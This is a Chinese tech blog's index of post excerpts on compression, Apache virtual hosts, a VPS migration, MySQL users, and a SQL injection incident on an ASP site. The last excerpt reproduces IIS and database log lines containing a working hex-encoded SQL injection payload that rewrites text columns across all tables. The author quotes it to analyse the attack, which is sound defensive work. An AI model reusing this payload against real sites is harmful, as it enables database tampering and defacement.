压缩、解压缩是日常工作中常用的两个操作,对于 Windows 平台而言,最常用的格式是 zip 和 rar,国内大多数是用 rar,国外大多数是用 zip。而对于类 Unix 平台而言,常用的格式是 tar、tar.gz,zip 比较少一些,rar 几乎没有。

ZIP 格式

zip 格式是开放且免费的,所以广泛使用在 Windows、Linux、MacOS 平台,要说 zip 有什么缺点的话,就是它的压缩率并不是很高,不如 rar及 tar.gz 等格式。

将文件或文件夹压缩为一个 zip 文档的命令如下:

…继续阅读

Posted by akasuna on 2013-04-07 at 4:19 pm

Apache 默认存放网页根目录,是在 /var/www/html/ 下面,也就是说,默认情况下,一个服务器,只能跑一个网站。但是一台性能还算不错的服务器,如果只跑一个网站,岂不是有点浪费?其实 Apache 是支持虚拟主机功能的,以虚拟主机模式可以跑 N 个网站。

Apache 开启虚拟主机功能的方式也很简单,以 CentOS 6.3 和 Apache 2.2 为例, 在 /etc/httpd/conf.d/ 目录下创建一个 vhost.conf 配置文件,内容格式如下:

NameVirtualHost *:80

<VirtualHost *:80>
     ServerName aaa.com
     ServerAlias www.aaa.com
     DocumentRoot /srv/www/aaa.com/public_html/
</VirtualHost>

<VirtualHost *:80>
     ServerName bbb.com
     ServerAlias www.bbb.com
     DocumentRoot /srv/www/bbb.com/public_html/
</VirtualHost>

…继续阅读

这个博客最初是托管在 Bluehost 上的,坦白说这家虚拟主机提供商还是非常不错的,控制面板使用起来相当简单,记得很久以前还写过一篇如何选择虚拟主机的文章,总之 Bluehost 非常适合新手使用。虚拟主机优点是便宜,而且管理起来简单,也不需要考虑太多安全或者维护方面的因素,大多数事情有主机商帮你搞定,但是缺点也很明显,因为是共享主机,一台服务器上可能跑着 N 个网站,而且这么多网站共用一个 IP,如果这台服务器上有一个网站因为某种原因,导致 IP 被 Block 掉,那么这台服务器上所有的网站都会被牵连。

很不幸,我这个小博客就遭遇了这件事,所以考虑几天后,决定迁迁移到 VPS 上。VPS 可以看成是一台只有你一个人使用的服务器(事实上它是一个虚拟机),你可以在上面安装任何软件,拥有最大的权限。正所谓权限越大,责任越大,你需要自行安装 Web 服务器,数据库,PHP,还有其它一些维护工作都要自行处理。

…继续阅读

Posted by akasuna on 2013-04-06 at 7:19 am

MySQL 默认有个 root 用户,但是这个用户权限太大,一般只在管理数据库时候才用。如果在项目中要连接 MySQL 数据库,则建议新建一个权限较小的用户来连接。

在 MySQL 命令行模式下输入如下命令可以为 MySQL 创建一个新用户:

CREATE USER username IDENTIFIED BY 'password';

新用户创建完成,但是此刻如果以此用户登陆的话,会报错,因为我们还没有为这个用户分配相应权限,分配权限的命令如下:

GRANT ALL PRIVILEGES ON *.* TO 'username'@'localhost' IDENTIFIED BY 'password';

授予 username 用户在所有数据库上的所有权限。

…继续阅读

Posted by akasuna on 2013-03-12 at 10:19 am

最近几天公司网站上的数据经常被恶意篡改,该网站采用的是年代久远的 ASP + MS SQL Server 的方案,所以推断应该是网站本身有漏洞而被 SQL 注入了,查了一下 IIS 日志,发现大量不正常的 HTTP GET 访问,如下:

2013-03-10 00:16:40 W3SVC1 192.168.xx.xx GET /newsShow.asp id=2151'+declare+@s+varchar(8000)+set+@s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e313020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d5245504c414345285b272b40432b275d2c202727636f72797061796461796c6f616e732e636f6d27272c2027276d6178787061796461796c6f616e732e636f6d272729207768657265205b272b40432b275d206c696b6520272725636f72797061796461796c6f616e732e636f6d252727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar(8000))+exec(@s)-- 80 - 91.220.131.34 Mozilla/5.0+(Windows;+U;+Windows+NT+5.2;+en-US)+AppleWebKit/534.17+(KHTML,+like+Gecko)+Chrome/11.0.652.0+Safari/534.17 200 0 0

可以很明显地看出是 SQL 注入,对应的也看了一下数据库的日志,发现对应的 SQL 代码是:

update NEWS set Hits=Hits+1 where ID='2151' declare @s varchar(8000) set @s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e313020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d535542535452494e47285b272b40432b275d2c20312c2043484152494e4445582827273c2f7469746c653e3c27272c5b272b40432b275d29202d203129207768657265205b272b40432b275d206c696b65202727253c2f7469746c653e3c252727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 as varchar(8000)) exec(@s)--'

很明显注入的 SQL 语句存储在变量 @s 中,且被编码过了,cast @s 后的结果为:

…继续阅读